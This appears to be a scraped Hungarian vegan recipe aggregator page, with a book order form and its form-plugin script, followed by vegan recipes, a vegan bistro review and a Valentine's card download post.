NAGY ZITA: MIT ESZIK A VEGA GYEREK? (Könyvrendelés!)
Zizi új könyve 25%-os kedvezménnyel elérhető a zizikalandjai.com blogon! (Postázni csak magyarországi címre tudunk jelenleg!)
Név*
Vezetéknév
Keresztnév
Email cím*
Email megadása
Email megadása újból
A véletlen elgépelés elkerülése céljából Számlacím*
Számlán szereplő név / cégnév
Utca, házszám (emelet, ajtó)
Város
Irányítószám
Személyes átvétel esetén is szükséges megadni, mert a jog így kívánja meg! Eltérő a postacímed?* NemIgen Postacím (számlacímtől eltérő)
Utca, házszám (emelet, ajtó)
Város
Irányítószám
Telefonszám (Futárnak szüksége lehet rá) KönyvHány darabot küldhetek 25% kedvezménnyel?* 1234567891011121314151617181920 Dedikálhatom a könyvet?NemIgen Hány darabot dedikálhatok?1234567891011121314151617181920 Ha többet rendelnél, mint 1 db, így könnyen meg tudod adni, hogy ebből hányat lássak el néhány kedves sorral, és hányat ne. Ha ajándéknak szánod a könyvet és szeretnéd, hogy a megajándékozandó személy részére dedikáljam a könyvet, akkor kérlek a megrendelést visszaigazoló e-mailre válaszolj, és írd meg, hogy kinek írhatom az ajánlást! Köszönöm! Kérlek válaszd ki a fizetés / átvétel módját!* Utánvét, MPL futár (10.000 Ft-ot meghaladó értékű megrendelés esetén ingyenes!)Készpénz, személyes átvétel - INGYENES! (BOOOK Kiadó ügyfélszolgálatán, 1095 Budapest Mester utca 87.) Kérlek válaszd ki a fizetés / átvétel módját!* Utánvét, MPL futár - INGYENES (10.000 Ft értékű megrendelés fölött)Készpénz, személyes átvétel - INGYENES! (BOOOK Kiadó ügyfélszolgálatán, 1095 Budapest Mester utca 87.) Fizetendő
0,00 Ft
Email Ez a mező az érvényesítéshez van és üresen kell hagyni.
if(typeof gf_global == undefined) var gf_global = {gf_currency_config:{name:Magyar Forint,symbol_left:,symbol_right:Ft,symbol_padding: ,thousand_separator:.,decimal_separator:,,decimals:2},base_url:http://www.zizikalandjai.com/wp-content/plugins/gravityforms,number_formats:[],spinnerUrl:http://www.zizikalandjai.com/wp-content/plugins/gravityforms/images/spinner.gif};jQuery(document).bind(gform_post_render, function(event, formId, currentPage){if(formId == 4) {gf_global[number_formats][4] = {1:false,23:false,3:false,9:false,4:false,6:false,14:decimal_comma,19:false,10:false,11:false,22:decimal_dot,21:decimal_dot,17:false,24:false};if(window[jQuery]){if(!window[gf_form_conditional_logic])window[gf_form_conditional_logic] = new Array();window[gf_form_conditional_logic][4] = { logic: { 4: {field:{actionType:show,logicType:all,rules:[{fieldId:9,operator:is,value:Igen}]},nextButton:null,section:null},11: {field:{actionType:show,logicType:all,rules:[{fieldId:10,operator:is,value:Igen}]},nextButton:null,section:null},22: {field:{actionType:show,logicType:all,rules:[{fieldId:19,operator:,value:2}]},nextButton:null,section:null} }, dependents: { 4: [4],11: [11],22: [22],21: [21] }, animation: 0, defaults: {1:{1.2:,1.3:,1.4:,1.6:,1.8:},23:{23:,23.2:},3:{3.1:,3.2:,3.3:,3.4:,3.5:,3.6:},9:,4:{4.1:,4.2:,4.3:,4.4:,4.5:,4.6:},14:{14.1:,14.2:,14.3:},10:,11:1}, fields: {1:[],23:[],3:[],9:[4],4:[],6:[],14:[],19:[22,21],10:[11],11:[],22:[],21:[],17:[],24:[]} }; if(!window[gf_number_format])window[gf_number_format] = decimal_comma;jQuery(document).ready(function(){gf_apply_rules(4, [4,11,22,21], true);jQuery(#gform_wrapper_4).show();jQuery(document).trigger(gform_post_conditional_logic, [4, null, true]);} );} if(window[gformInitPriceFields]) jQuery(document).ready(function(){gformInitPriceFields();} );} } );jQuery(document).bind(gform_post_conditional_logic, function(event, formId, fields, isInit){} ); jQuery(document).ready(function(){jQuery(document).trigger(gform_post_render, [4, 1]) } );
Karfiolos batyu
2017. április 10. Beautilicious
A rohanos sűrű napokon nehezebb megoldani az egészséges kiegyensúlyozott táplálkozást, de persze ez sem lehetetlen. Az új kedvenc alternatívám az ilyen napokra a karfiolos batyu. Ellátja a szervezetedet lassú felszívódású szénhidráttal is, ami segít, hogy lendületes maradj egész nap, és hogy ne legyél éhes 1-2 óra múlva. Ezek mellett nagyon finom is, és rengeteg féle képpen variálhatod. Hozzávalók - 1 fej karfiol - 200g krémsajt - 350gr zabliszt - töltelék ízlés szerint ( nálam pulykamell illetve tonhal volt) Így készítsd - Szedd a karfiolt rózsáira, majd főzd meg sós vízben - Szúrd le, majd krumlinyomóval nyomd össze - Add hozzá a krémsajtot és a zablisztet, majd alaposan dolgozd össze - Formázz belőle korongokat - Egy serpenyőbe tegyél kókuszzsírt vagy olivaolajat és tegyél bele egy korongot, majd ebbe egy kanál tölteléket, végül még egy korongot - Süsd olalanként 8-10 percig ( vagy míg aranybarna nem lesz)
Zabpalacsinta sütőben sütve
Egy kis reggeli, egészséges kényeztetés. Míg a palacsinták a sütőben sülnek, van időnk mást csinálni, így nem kell a tűzhely mellett álldogálni. Foghatunk egy nagyobb tepsit, sütőpapírral kibélelve kis köröket formálunk a palacsinta tésztából a tepsibe, így tesszük be az előmelegített sütőbe. Persze, meg kell őket fordítani, miután az egyik oldaluk átsült. Másik lehetőség, ha van alacsony cupcake formánk (lásd az írásom végén a legutolsó kép), a muffinformáknál kisebb, alacsonyabb sütőforma, akkor abban is süthetjük. Szintén meg kell fordítani a palacsintákat. Ezt követően rajtunk áll, hogy mivel fogyasztjuk a mini-palacsintákat. Hasonlóan, mint az amerikaiak, tehetünk rá mogyorókrémet és/vagy lekvárt. Mogyorókrém helyett 100%-os mandulakrémmel, fagyasztásból kiengedett bogyós gyümölcsökkel és datolyasziruppal/agavésziruppal édesítettük. A mandulakrém meglehetősen drága, itt Angliában is, de pár napig volt egy boltban leárazás és akkor megkaptam nagyon nagyon olcsón. Az agavészirupot pedig ajánédkba kaptam, pont miután beszereztem egy datolyaszirupot, szóval fejedelmi lakománkat olcsón sikerült kivitelezni. Mégha drágák is ezek általában, szerencsére nem sokat kell belőlük használni, már kevés is jó ízt ad, sokáig elég lehet.
A recept
Hozzávalók:
- 2 nagyobb, érettebb banán (barnás héju banán ajánlott)
- kb 15 dkg őrölt zabpehely
- kevés növényi tej vagy víz
- gyümölcsök
- natúr mandulakrém
- datolyaszirup/agavészirup/méz
- tapadásmentes sütőlap
Elkészítés:
A banánokat villával összenyomkodjuk, majd hozzákeverjük a zabpehely-lisztet, s némi növényi tejet vagy vizet. Sűrű tészta kell legyen, ami nem folyik. Tapadásmentes sütőlapokra is helyezhetjük a palacsintákat vagy ahogy fentebb írtam, megsüthetjük sütőben is. Ha cupcake formában sütjük, érdemes egy kevés kókusz zsírral a formákat kikenni.
Ha megsült az alja, meg kell fordítani és a másik oldalát is átsütni.
Mandulakrémmel megkenve, rétegezve, hozzá sok-sok gyümölcsöt fogyasztva királyok által is irigyelhető reggeliben/desszertben lesz részünk.
Almás chia puding
2017. március 28. Éltető ételek
Szeretem az almát, igazi négy évszakos gyümölcs. Bármikor hozzáférhető, számos jótékony hatása vitathatatlan. A chiamag az omega3 forrást biztosítja, a dió pedig az agyműködésre van jó hatással. Az a legjobb ebben a receptben, hogy este kb. 3 perc alatt összeállítod, és reggel csak kanalaznod kell. Igazi almás pite hangulata van, nagyon finoooom. :) Hozzávalók: - 3 dl növényi tej (pl. rizs-, mandula-, kókusztej) - 3 evőkanál chiamag - 1 evőkanál datolyakrém (2-3 duci datolya áztatva és turmixolva) - 1 kisebb reszelt alma (nem kell meghámozni, csak jól megmosni) - késhegynyi vaníliapor, fahéj - csipet szerecsendió, szegfűbors és gyömbér - 2 evőkanál dió apróra törve - kókuszpehely vagy kókuszreszelék Elkészítése: - A dió és a kókusz kivételével mindent keverj jól össze. - Néhány órára (vagy éjszakára) tedd a hűtőbe. - Fogyasztás előtt pakold rá a diót és a kókuszt. Jó étvágyat!
Ezt ettem ma 2017. március 16 csütörtök
2017. március 18. Gitta nyersétel blogja
Reggeli: narancsos-petrezselymes zöld turmix, sűrűn, benne banán, goji bogyó és chia mag. Most úgy fotóztam le, hogy minden bele van keverve... Zöld turmix Napközben: be kell, hogy valljam töredelmesen, hogy egész nap jégkrémet ettem. Nem a böjt része, hanem most egy ilyen projekten dolgozom, egészséges jégkrémek receptjét kisérletezzük egy vállalkozás részére. Nagyon sokat kell kóstolni... :) Alapanyagok: gyümölcsök, kókuszkrém, kókuszreszelék, kesudió... stb... egészséges jégkrémek Vacsora: nyers vegán tortilla zöldségekkel, balzsamecettel :) No ez viszont király volt... nyers vegán tortilla hajlékony az almától Még szerdán aszaltam három lapot (50 dkg alma, 10 dkg spenót pici sóval összeturmixolva, és 20-20 dkg-os lapokra megaszalva). Rugalmas, picit édes, picit sós, remek alapja egy zöldség tekercsnek. avokádó és savanyú káposzta saláta és paprika a tetejére csírák Megtöltöttem avokádóval, savanyú káposztával, saláta levelekkel, aszalt olajbogyóval, kápia paprikával, csírákkal (vagy hát lehet ezt bármivel, ami otthon van), feltekertem, és meglocsoltam modenai balzsamecettel... feltekerve, meglocsolva balzsamecettel és így néz ki felvágva Napközben másfél liter víz, 3 dl bio céklalé
Nyers vegán csokipuding
2017. március 16. Vegán lettem
A nyers vegán csokipuding kézenfekvőbb dolog volt vegánná válásom után, mint másoknak a levegővétel, és mivel masszívabban vagyok édesszájú, mint egy vagonnyi óvodás, ezért örömmel láttam, hogy van alternatívája a napi másfél tábla Milkának.
De még milyen. Attyaég, de még milyen…
A krémselymes megváltás nyers vegán csokipuding formájában érkezett egy kedves barátom Messenger üzenetében, válaszul ,,Ernő, A turmixgép beszerzésének hírére. Miután tesómtól február közepén megkaptam a karácsonyi ajándékom (Mi így érezzük jól magunkat. Pont.), szisztematikusan elkezdtem ledarálni mindent - a szomszéd néni macskáján kívül -, amit otthon találtam, és szerettem volna a szervezetembe juttatni.
Ekképp tehát szerezzük be a következőket a nyers vegán csokipuding elkészítéséhez:
1 db avokádó
3 db datolya
1 db közepes méretű banán fele – harmada (nem kell sok)
1,5 dl rizs / mandula / kókusz / tönköly ital, bármelyik jó
2 felespohárnyi nyers, cukrozatlan, 20%-os kakaó
3 csipet só
negyed felespohárnyi fahéj
és ha te is tök perverz vagy, akkor egy kevés szerecsendió
kókuszreszelék a díszítéshez (meg mert baromi finom)
…majd készítsük is el a nyers vegán csokipudingot:
A felespohár a legegyszerűbb mérce és tuti van otthon. Nyilván azokból az időkből, mielőtt vegánná avatásunk előtt a bűnösök életét éltük, és elfelejtettünk volna mindent a növényevésen és a misszionárius pózon kívül.
Így előre megfontolt szándékkal, különös kegyetlenséggel aprítsuk darabokra a szilárd összetevőket. Miután megbizonyosodtunk, hogy az árván maradt datolyák nem zokognak tovább szüleik elvesztésének a látványától, a felkockázott növényi eredetű nyersanyagainkat helyezzük a turmixgép acélpengéi közé, szórjuk rá a porokat (ne kezdd el reflexből összetekerni a húszezrest), majd műalkotásunk megkoronázásaként öntsük nyakon a növényi itallal.
Kapcsoljuk turmixunkat közepes – maximum fokozat környékére jó egy percig.
Ebben a fázisban mindig érdemes megkóstolni. Amennyiben nem találod elég édesnek (mondhatni tök keserű az egész), akkor menj vissza az asztalra, és tedd bele a lemészárolt datolyákat, amiket a fotók készítése miatt kihagytál, majd turmixold megint egy percig. Most már elég édes lesz. Egy kicsit úgy éreztem magam, mint az egyszeri ősember, akinek a szinkronicitások (korábbi nevén: véletlen, de olvassatok Jungot) segítettek megismerni a világot: a dupla turmixolás miatt sokkal selymesebb lett a készítmény, mint a korábbi esetekben. Továbbá tehetsz bele még fahájat, vagy bármi egyebet, amitől az ízlésednek jobban megfelel a végtermék. Építő jellegű kommented kérlek, ne tartsd magadban, hadd áramoljon az információ.
Az így kapott puding a fent leírt mennyiségekből a fotón látható duplája lesz. Ez azért masszív adag szénhidrátból, a kakaó ráadásul afrodiziákum, úgyhogy óvatosan (vagy hajrá, helyzettől függ…) a nyalánksággal. Direkt nem írom, hogy ez hány adag: amikor valami indokolatlan és tök felesleges, de mindkettőnk szerencséjére viszonzatlan valakibezúgás miatt egy hétig ágyban fekve kapucniban animét nézek és trip hopot hallgatok, akkor nagyjából fél adagnak is kevés, ha viszont kiegyensúlyozottan étkezem (nagyrészt nyersen), eljárok futni, tartom a heti két jógát, reggel-este meditálok legalább harminc percet, és csak úgy áramlik a csí, hogy kábé teleportálva húzom ki a szomszéd néni kukáját, akkor simán háromszorra-négyszerre elég egy kis tálkával.
Ja, és még valami: ha szeretettel, odafigyeléssel, törődéssel készítitek, mintha egy kicsit még jobban összeérnének az ízek. Váljék a te, és annak a kedves egészségére, akivel megosztod.
Bokor Krisztián
kakaós gofri
2017. március 13. Beautilicious
Örülnél, ha valamivel megtudnád győzni a gyerekedet, hogy egyen több zöldséget? Ezzel a recepttel garantáltal örömmel csúszik majd le a torkán egy kis cékla. A gofrit mindenki szereti, ezt a gofrit meg pláne szeretni fogjátok. hozzávalók - 2cékla - 2tojás - 100gramm zabliszt - 30gramm kakaó - 40gramm édesítő - egy kis fahéj - kókuszolaj a sütéshez Így készítsd - Tisztítsd meg a céklát, majd aprítógépbe pürésítsd - Add ozzá a nedves, majd a száraz hozzávalókat - keverd össze alaposan - Kend ki a gofrisütőt kókuszolajjal, majd adagold bele a tésztát
Nagyszerűen a Greatben....
Stőhr Grétával lassan 10 évre visszamenő az ismeretségünk... Amikor még alig voltak vega blogok a magyar neten, virtuálisan futottunk össze... aztán néhány évre rá együtt mentünk főzni a TV2-be. :) És azóta is időről időre összefutunk virtuálisan és most ismét nagy örömömre személyesen is. :) ... mert meghívást kaptam Grétáék szuper vegán bisztrójába a Great bisztróba egy degusztációs menü bemutatóra (hálás köszönet érte ezúton is, remek este, remek emberekkel! :). Hiszen a Bisztró, mely fennállása röpke ideje alatt eljutott oda a népszerűségi listán nagyszerű ételeinek köszönhetően, hogy délidőben gyakran az utcán állva kell bejutásra várni, most újabb lépcsőfokot lép felfelé. Elindul ugyanis az 'á la carte' esti vacsoralehetőséget kínáló éttermi opciója a bisztrónak. A külföldön már elterjedt gyakorlatot szeretnék Grétáék is megvalósítani, miszerint a reggel reggelizőként, délben önkiszolgáló bisztróként működő hely estére átalakul á la carte étteremmé. A most induló projekt részeként kb. 2 havonta fog változni az ételsor, mely 3 előételt, 3 levest, 3 főételt és 3 desszertet fog magában foglalni. A szűkebb választék azt a minőséget is hivatott szolgálni, mely így alkalmas lesz többek között a szezonalitásból eredő változások rugalmas követésére, a válogatott alapanyagok felhasználásával. A későbbi tervek között szerepel a vasárnap délelőttönkénti, akár családoknak is villás reggelit nyújtó kínálat és nyitvatartási idő hosszabbítás. A mostani á la carte lehetőség első alkalommal 2017. március 8-án (Nőnapon) vehető igénybe, 17-22h. Majd azt követően: március 11. (szombat): 12:00 - 22:00 március 15. (Ünnepnap): 12:00 - 22:00 AZ ÉTLAP (mely nem csak vegán, hanem egyben gluténmentes is): ELŐÉTELEK Club sandwich Karottás "lazac" remoulade mártással A bemutató vacsorán a degusztációs menü részeként megkóstolhattuk, és az íze olyannyira felidézte bennem a lazac általam nagyon-nagyon régen kóstolt ízét, hogy döbbenetes volt.... :) A sárgarépa 3 napig érlelődött egy sós és tengeri algás pácban, így nyerte el autentikus ízét. A hozzá kínált rizstejes majonéz ugyancsak szuper volt nem csak ízében, hanem állagában is! Ananászos kevert zöldsaláta sült - füstölt tofuval, vinaigrette öntettel Krémválogatás pirít?ssal, cruditevel - napraforgó pástétom - körözött - füstös padlizsánkrém LEVESEK Egzotikus kardamomos gyümölcsleves Thai citromfüves zöldségleves kókusztejjel Citrusos - joghurtos zellerkrémleves Elmondhatom, ilyen isteni zellerkrémlevest még életemben nem ettem! A citrom eszméletlenül a helyén volt benne, se túl sok, se túl kevés, hanem fantasztikusan megfelelő! :) FŐÉTELEK Sült teriyaki tempeh szarvasgombás fénygyökérpürével és marinált szezámos pak choi-jal Narancsos sütôtökös risotto Aszalt paradicsomos édesburgonyás gnocchi parmezánropogóssal A csak édesburgonyából és nem sima burgonyából készült alaptészta zabliszt hozzáadásával készült, egy fantasztikus paradicsomos szósszal. A parmezánropogós pedig kizárólag növényi sajtból. DESSZERTEK Pisztáciába, kókuszpehelybe, aszalt áfonyába forgatott álomgombóc válogatás narancsvirágvizes szója-joghurtöntettel Céklás - csokoládés brownie Mangós tiramisú Szerencsére a desszertek esetében Gréta úgy döntött, mind a hármat megkóstoltatja velünk... :P :D És hát nálam csodás krémességével, selymességével a Tiramisú krémje vitte a prímet. Szerintem meg nem mondta volna róla senki, hogy tojás és mascarpone nélkül készült! ;) Szóval, ha ünnepien jót szeretnétek enni, vegánul, vagy esetleg ételérzékenységek, allergiák miatt, ne hagyjátok ki ezt a remek lehetőséget! Ráadásul ezeken az Ünnep- és szabadnapokon akkor nem is kell otthon nekiállnotok főzni! ;) A Great Bisztró Facebook oldala: https://www.facebook.com/greatbistrobudapest/ Asztalfoglalás: 06702149072
Pudingos gyümölcsös finomság
Sok háziasszony készít gyakran keksztekercset, vagy kókusztekercset, aminek az alapja darált keksz és a belsejébe cukros margarinos krém kerül. A következő receptem sütés nélkül elkészíthető édesség, aminek hasonlóan a keksztekercs tésztája az alapja. A krémje viszont egyszerű pudingkrém. Mivel a tészta barna színű, ezért érdemes fehér vagy sárga pudingot készíteni. Vanília, tejszín vagy banán ízű pudingporokat ajánlom hozzá.
A recept
Hozzávalók a tésztához:
15 dkg (vegán) darált keksz
10 dkg darált zabpehely
kb. 1-1,5 dl koffeinmentes kávé
pár csepp rumaroma (elhagyható)
3 evőkanál kakaó (cukor nélküli)
10 dkg édesítőszer (xylit, gyümölcscukor, agavé szirup, stb.)
Krémhez:
4 dl növényi tej
1 csomag (vegán) pudingpor
néhány kanál édesítőszer (attól függően, ki milyen édesen szereti)
Díszítésnek narancs, aszalt meggy/szilva, menta- vagy citromfűlevél
Elkészítés:
Először pudingot főzünk a növényi tejből és a pudingporból a puding csomagolásán található útmutató szerint. (Általában a pudingport először egy kevés hideg növényi tejjel kikerverjük, majd a maradék tejet felforraljuk, ebbe tesszük bele a kikevert pudingport és az édesítőt. Addig forraljuk, és folyamatosan keverjük, míg be nem sűrűsödik.) A pudingot lehűtjük.
A tészta alapanyagait alaposan összegyúrjuk, két részre osztjuk. Kerek tálba vagy tortaformába folpackot teszünk, a tészta felét belesímítjuk, rásimítunk egy adag pudingot, majd a másik tésztából hasonló formát készítünk és a puding tetejére fektetjük. Hütőbe tesszük és várunk 1-2 órát, hogy megdermedjen, összeálljon. Majd a fólia segítségével kiemeljük, egy tálcára tesszük és a maradék pudingot a tetején elsimítjuk. Gyümölcsökkel/ menta vagy citromfűlevéllel díszítjük a tetejét, ismét hűtőbe tesszük. Tálalásig ott tároljuk.
Kókuszgolyó
2017. február 27. Beautilicious
Szerintem nem én vagyok az egyetlen, aki imádja a kókuszgolyót. Az én receptem , a hagyományossal ellentétben nem tartalmaz semmilyen egészségtelen hozzávalót. Íze akárcsak a hagyományosé, sőt még jobb is. :) Hozzávalók: 100g zabpehely 100g kókuszreszelék (ízesítetlen) 3db alma (lereszelve, meghámozva) 3 evőkanál eritrit 2 evőkanál holland kakaópor 1 mokkáskanál rumaroma 50ml feketekávé- opcionális Elkészítés: A hozzávalókat tegyük aprítógépbe és aprítsuk amíg egy masszát kapunk. Formázzunk belőle golyókat és már ehetjük is. Jó étvágyat!
Rakott édesburgonya (vegán)
Bár édesburgonyának hívjuk, nem csak Magyarországon, Angliában is, valójában a batátának semmi köze nincs a burgonyához, legfeljebb a hasonló alak és a földben termő gumó/gyökér. Mégis, ha lehetne, lecserélném a krumpli és az édesburgonya pozícióját a magyar háztartásokban. Milyen lenne, ha egy jó kis krumplistészta számítana kuriózumnak, nem pedig a batátából készült ételek? :) Kérdésem költői kérdés, mielőtt bárki kommentben erre választ hagyna. Szóval ha még nem próbáltad az édesburgonyát, íme egy szokványos recept, rakott batáta. Szabadon variálhatod, mivel rakod össze, most tofuval és gabonakolbásszal készítettem el.
A recept
Hozzávalók:
- 8 közepes batáta/édesburgonya
- egy szál gabonakolbász
- 1 csomag tofu
- szójajoghurt
- só
- kókuszzsír
- víz
Elkészítés:
A megmosott batátákat héjastól vízben megfőzzük, de ne túl puhára. Közben felszeleteljük a tofut, majd a kolbászt kókuszzsírral kikenünk egy tűzálló tálat. A joghurtba keverhetünk pl. provance fűszerkeveréket, vagy csak egy kis ételízesítőt, de ez el is maradhat. A megfőtt batátákat hideg vizzel átzuhanyoztatjuk, majd ha picit lehűltek, megpucoljuk őket, majd felkarikázzuk. A tűzálló tálba először egy sor felkarikázott batátát teszünk, megsózzuk, majd tofut, szintén megsózzuk (vagy használhatunk valamilyen fűszerkeveréket is só helyett). Kolbászkarikákat teszünk le következőnek. Mindezt addig ismételjük, míg minden el nem fogy. A legjobb, ha édesburgonya, azaz batáta kerül a tetejére. Legvégül joghurttal megkenjük. Ezután mehet a sütőbe, ahol pirulásig sütjük.
Mogyoróvajas tönkölykeksz
2017. február 21. Vegán receptek Tőlünk Nektek
Gyors, könnyű finomság Erzsitől...
Hozzávalók:
- 1.5 csésze liszt,
- 1/4 cs. margarin v. kókuszolaj,
- 1/4 cs. szirup,
- 1/4cs nádcukor,
- 3/4cs. mogyoróvaj,
- só,
- 1/2 cs. sütőpor,
- 1-2 ek növényi tej ha nem áll össze.
A hozzávalókat összedolgozom, apró diónyi gombócokat gyúrok belőle, 180 fokos sütőben 7-12 perc alatt készre sütöm. Kiszedni kihülés után lehet, különben összetörik. Ha egy kicsit több sót teszek bele, sós-mogyorós keksz lesz, ami nagyon finom..
Jó étvágyat!
Narancsos Amarant golyók – Videó recept
A narancsos amarant golyók videó receptem itt megtekinthető: Recept!
Hozzávalók, mennyiségek:
12 db
50 g pattogatott amarant
3 evőkanál agávé szirup vagy rizsszirup
50 g őrölt mandula
1/2 narancs reszelt héja
1/2 narancs leve
1-2 evőkanál kókusz olaj
Díszítés: 20 g pattogatott amarant, kandírozott, vagy szárított narancs héj.
Málnás chia puding
Már egy ideje sláger a chia puding, mindenki szereti, nekem mégis csak mostanság lett a kedvencem. Leginkább egyik “legnemesebb” tulajdonsága miatt, amely nem más, mint az, hogy magas rosttartalma miatt csökkenti az éhségérzetet, a telítettség érzetet fokozza a fogyasztása.
Beszéljünk még más pozitív tulajdonságáról: magas az omega zsírsav tartalma, szabályozza a vércukorszintet, serkenti az emésztést, csökkenti a koleszterin szintet…
Mindez egy desszertben, akkor következzen a recept amelyhez nem szükséges sok idő és egyszerűbb elkészíteni, mint a hagyományos pudingot.
Hozzávalók: 3-4 adagra:
Chia puding:
4 dl mandula tej
2-3 evőkanál eritrit
4 evőkanál chia mag
4 evőkanál kókuszreszelék
A hozzávalókat kézi habverővel alaposan elkeverjük és 30 percre a hűtőbe tesszük, a massza 30 perc után besűrűsödik.
Málna velő:
250 g málna
100 g eritrit
0,5 dl víz
45 g kukoricakeményítő
A gyümölcsöt az eritrittel, vízzel, kukoricakeményítővel elkeverjük és felforraljuk.
A velőt poharakba kanalazzuk és rá rétegezzük a besűrűsödött chia pudingot. Friss vagy fagyasztott gyümölccsel tálaljuk.
Karobos-kekszes süti
2017. február 11. Vegán receptek Tőlünk Nektek
Andris receptje:
Hozzávalók:
- vegán keksz (Lidl-be kapható)
- 25 dkg vaj és kakaóvaj együtt
- 1 1/3 csésze nádcukor
- 1.5 csésze karob
- kb. 2 dl víz
Összetöröm a kekszet apró darabokra, nem baj, ha morzsalék kerül bele. Felmelegítem a vajat, kakaóvajat, cukrot és karobot, hozzáöntöm folyamatosan a vizet. Addig kell kevernem, míg az állaga folyós, de krémes lesz. Utána a krémet ráöntöm a kekszre, összekeverem a keksszel és egy özgerinc formába öntöm. (Lehet folpackkal kibélelve.) Utána hűtőbe rakom egy éjszakára. Másnap szeletelhető és már kész a tálalásra.
Ízlés szerint lehet beletenni még darált diót és frissen facsart narancslevet . Ettől még különlegesebb lesz.
Ági receptje picit másként:
Hozzávalók:
- vegán keksz
- karobpuding
- gabonakávé
- kókuszreszelék
Készítek egy sűrű karobpudingot beleteszek egy kis teáskanál gabonakávét. Megkenem a kekszeket vele, majd egymásra rakva feltornyozom. Az egész oldalát is bekenem a kémmel rászórok kókuszreszeléket .Folpackba csomagolom szorosan egy napig hűtőben tartom. Ha ferdén szeletelem, szép csíkos lesz. Nagyon finom, nálunk óriási sláger.
Kekszsüti másként - Ági ötlete ihlette
- 1 csomag Lidl-s vaniliás keksz összetörve Karobpuding:
- 1 l házi rizstej
- 6 pupozott ek. kukoricakeményítő
- 5 ek. xilit vagy 6 ek. cukor
- 5 pupozott ek. karobpor
- 1 ek. gabonakávé
- 1 doboz (400 ml) Aldis kókusztej
Simára kikevertem a fenti hozzávalókat, majd felfőztem. Nagyon sűrű puding lett belőle. Még azon melegében hozzákevertem 1 doboz (400 ml) Aldis kókusztejet, ami tejszín sűrűségű. Ez könnyen elkeveredett a meleg pudinggal. Hozzákevertem a tört kekszet. Folpakkal kibélelt sütőformába öntöttem, majd a hűtőben "érleltem" egy napot.
Jó étvágyat!
Otthon nyomtatható Valentin napi képeslapok vegán témában
Készülsz már a Valentin napra? Az ajándékot, amit a szeretetreméltó személynek szánsz, koronázd meg valamelyik, házilag nyomtatható képeslappal. Természetesen ajándék kísérő kártyaként is funkcionálnak. A negyedik pedig egy kupon, ami vegán ételkészítésre váltható be. Szinglik természetesen a velük élő négylábút is megörvendeztethetik a kártyácskákkal. Az itt letölthető verzión a VegaNinja logó is rajta van, így az ajándékozott félnek eszébe jut, honnan szerezze a receptet, mikor neked főz ünnepi vacsit legközelebb. LETÖLTÉS Ha logómentes változatot szeretnél, nincs más dolgod, mint a VegaNinja Patreon oldalt meglátogatni, és legalább egy hónapra támogatóvá válni, hogy hozzáférhess az exkluzív fájlokhoz. Ezzel két meggyet ütsz egy csapásra, hiszen megkapod a csodás kártyák nyomtatható verzióit, és támogatsz egy szuper vegán oldalt. Ezt itt. ;) A kókuszhab a nyers vegán csokitorta tetején pedig az, hogy egy cuki matricacsomaggal leplek meg, ha legalább 4 dollárral támogatsz. Ennél csodásabb dolgot még nem láttam idén Valentin nap alkalmából! Kattints ide: Logó mentes változatot szeretnék! The post Otthon nyomtatható Valentin napi képeslapok vegán témában appeared first on VegaNinja.
Gluténemntes zabpelyhes minilinzer
2017. február 8. Élj harmóniában
Ez a kis minilinzer kiváló tízóraihoz, délutáni nasinak vagy reggelinek, de fogyaszthatod főétkezés után is . Sz áraz jellegű, mint általában a linzerfélék és ez a változat kevés zsi radékot is tartalmaz - így egészségesebb . Én imádom a szárazabb sütiket, kekszeket, de ha Te nem annyira szereted a szárazabb süteményeket, fogyaszthat od tejszínhabbal, még egy kis lekvárral, vanília krémmel vagy bármivel, amit szeretsz:) Hozzávalók 1 csésze apró levelű zabpehely 1 csésze aprított mandula 1 csésze rizsliszt 1/2 tk. fahéj vanília ízlés szerint 1/2 citrom reszelt héja 1/3 csésze datolyaszirup (H a édesszájú vagy akkor lehet 1/2 csésze is. Használhatsz juharszirupot is.) 3 ek kókuszolaj (használhatsz repceolajat is) 1 alma eperlekvár Vegyszermentes (bio) alapanyagokat használj! Keverd össze egy tálban a zabpelyhet, a rizslisztet és az aprított mandulát - lehet egész mandula is és akkor daráld apró darabokra. K everd hozzá a fűszereket és a citromhéjat. Egy másik tálban reszeld le az almát - én mindig meghámozom előtte - keverd össze a kókuszzsírral és a datolyasziruppal. Ezt a keveréket öntsd a másik tál tartalmához és kézzel gyűrd jól össze .Kanállal vagy a kezeddel kis golyónyi darabokat vegyél ki a tész tából és nyomkodd bele egy sütőpapírral borított tepsibe. Majd a gombóc közepébe a mutatóujjaddal csinálj egy kis mélyedést. Az eperlekvárt tedd a kis mélyedésekbe. Majd 180 fokra előmelegített sütőben, s üsd aranybarnára a süteményeket. (kb. 15-20 perc)
Csicseriborsó curry
2017. február 2. Vegán receptek Tőlünk Nektek
Annától:
- Hozzávalók:
- 2 kisebb vörös hagyma
- 1 ek kurkuma
- 2 ek curry
- 2 ek garam masala
- 1 ek tandori masala
- 1 v 2 ek római kömény
- Fél ek sima köménymag
- 1 kisujjnyi lereszelt friss gyömbér
- 6 szem kardamom
- 2 kicsi (400g) vagy egy nagy csicserikonzerv
- Kókuszzsír
- Kókusztejpor vagy 1 cocomas
- Lehet friss koriander levelet is tenni bele, illetve szárított lime levelet 2-3 db-ot
A fűszereket és a felkockázott hagymát sóval kókuszolajon összeérleljük, vigyázva, hogy ne égjen oda. Először nagy lángon, majd visszavéve. Ráborítjuk a csicserikonzervet leve nélkül ( azt aquafabának eltehetjük), majd egy 1/4- 1/2 liter paradicsompürét öntünk hozzá ( attól függ milyen sűrű, milyen testes, hogy ne nyomja el a többi ízt- számít a márka). Addig főzzük,amíg megpuhul a csicseri.
A végén hozzáadjuk a kókuszkrémet vagy beleszórjuk a port és összerottyantjuk. Főtt rizzsel tálaljuk.
Jó Étvágyat!
Kurkumás latte (vegán)
2017. február 2. Zizi kalandjai
Jól nézzétek meg ezt a képet… egy ilyenre vágyom nagyon. Csak én és a kurkumás lattem, meleg takaróba bújás és magammal foglalkozás. Megelégednék havi egy ilyen nappali programmal (otthon úgy, hogy egyedül vagyok), de még van egy ultra cuki, vihogós, imádnivaló cicifüggőm , aki nem tud elszakadni tőlem hosszabb időre, így marad az álmodozás, hogy hamarosan lesz lehetőségem egy ilyen kikapcsolódásra is!
